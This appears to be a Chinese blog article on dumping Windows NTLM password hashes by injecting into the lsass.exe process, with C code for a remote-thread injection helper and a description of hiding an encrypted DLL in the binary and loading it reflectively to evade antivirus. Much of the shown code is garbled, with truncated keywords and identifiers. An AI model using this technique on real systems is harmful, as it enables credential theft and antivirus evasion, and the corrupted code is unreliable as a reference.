在内网渗透测试过程中,获取Windows用户密码Hash值后,将能够继续破解明文密码、Hash注入等后续动作,因此,密码Hash值具有较大的价值。Windows系统中存在的用户密码信息一般是以NTLMHash值的信息存在,只有负责用户权限管理的关键系统进程lsass.exe能够拥有权限获取。因此,本文主要探讨注入lsass进程读取Hash值的编程实现;关于远程注入的权限等其他问题,不在本文的讨论范围之列。
远程注入lsass进程
关于远程注入的基本原理就不赘述了,关键说一下实现过程中发现的问题。在WindowsVista以上版本,时常会遇到CreateRemoteThread调用出错
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。文章内提及的漏洞均已修复,作者不鼓励或支持任何形式的非法行为。
在实现过程中发现,Vista以后版本按照常规方法调用CreateRemoteThread函数,通常返回的错误代码为“errorcode-8存储空间不足”,无法执行此命令。通过搜索,搞懂了其中原理,实现了函数MyCreatReoteThread函数,具体原理,可百度“win7CreateRemoteThread”关键词学习,这里给出实现代码。
HANDreateRemoteThread(HANDLEhProcess,LPTHREAD_START_ROUTINE
pTroc,LPVOIDpRemoteBuf)
{
HANDLE
head=NULL;
pFunc=NULL;
FARPROC
f(IsVistaOrLater())
//vista以后操作系统的版本
{
printf(wint/vista\n);
pFunc=GetProcAddress(GetModuleHandleA(ntdll.dll),
tCreateThreadEx);
f(pFunc==NULL)
{
pintf(MyCrmoteThread():GetProcAddress调用失败!错误代
码:[%d]/n,
etLastError());
returnhThread;
}
((PFNTCREATETHREADEX)pFunc)(&hThread,
0x1FFFFF,
NULL,
hProcess,
pThreadProc,
pRemoteBuf,
ALSE,
NULL,
ULL,
NULL,
NULL);
f(hhread==NULL)
{
printf(MyCreateRemoteThread():NtCreateThreadEx()调用失败!错
误代码:[%d]/n,GetLastError());
returnhThread;
}
}
else
{
//2000,XP,Server2003
head=CreateRemoteThread(hProcess,
NULL,
0,
pThreadProc,
pRemoteBuf,
0,
NULL);
if(hThread==NULL)
{
printf(MyCreateRemoteThread():CreateRemoteThread()调用失败!
错误代码:[%d]/n,GetLastError());
returnhThread;
}
}
f(IT_FAILED==WaitForSingleObject(hThread,INFINITE))
{
printf(MyCreateRemoteThread():WaitForSingleObject()调用失败!错误代码:[%d]/n,GetLastError());
retuhThread;
}
returnhThread;
}
远程线程所做的工作-----一切为了躲避查杀
远程线程在lsass进程中启动后,主要是调用一系列函数读取用户Hash值信息,这段代码形式固定单一,如果集成在远程线程代码中,或者生成以DLL的文件形式存在,很容易被定位查杀。我采取的方式是这部分核心代码编译为DLL并导出,进行随机秘钥加密后,以整体逐字节输出为数组形式,嵌入代码中编译生成。如图2所示,pData为加密后的DLL代码数组,pKey为解密秘钥。
B7.png
通过这样将DLL加密集成到自身代码中,运行时,通过解密数据→解析PE格式加载到内存正确位置→修复重定位项→修复导入表四个步骤,实现了LoadLibray的大部分功能(没实现调用dllMain函数),随后调用导出函数即可。
题外话----x86/x64的统一编程问题
在这里和大家探讨一下x86/x64两种程序编写上的区别处理与统一问题。地址长度问题。在64位环境下,内存地址的长度为64位,编程上就应该表现为_int64,区别于32位下的DWORD。在编程的时候,以上区别主要麻烦是在PE结构解析时绝对地址的计算上,总不能为x86/x64下各准备一套函数吧。幸运的是,VC内给出了长度可变的定义:
#ifdefined(_WIN64)
typedesigned__int64ULONG_PTR,*PULONG_PTR;
#else
typdef_W64unsignedlongULONG_PTR,*PULONG_PTR;
#edif
通过预定义的宏,编程时将所有绝对地址的表述定义为ULONG_PTR就能解决内存地址长度的问题。
重定位项的区别。按照PE重定位结构的定义,每个重定位块的表项是一个代表四字节的相对偏移地址,其高3位bit位如果为0,代表其无意义,该项忽略。实际上我们遇到最多的情况是高3位bit为3,如图3所示。
B8.png
这是我们最熟悉的32位程序,但在64位程序下,这个值就变为了10,如图4所示。
B9.png
因此,在编写PE重定位项的处理代码中,需要注意这一点。
获取用户/Hash值的核心代码
获取Hash的函数是一些未文档化的函数,从samsrv.dll导出,具体原理本人也不是很清楚,偶尔得到,拿出来大家一起学习,希望有人一起探讨。具体代码请参看附件,不多加赘述。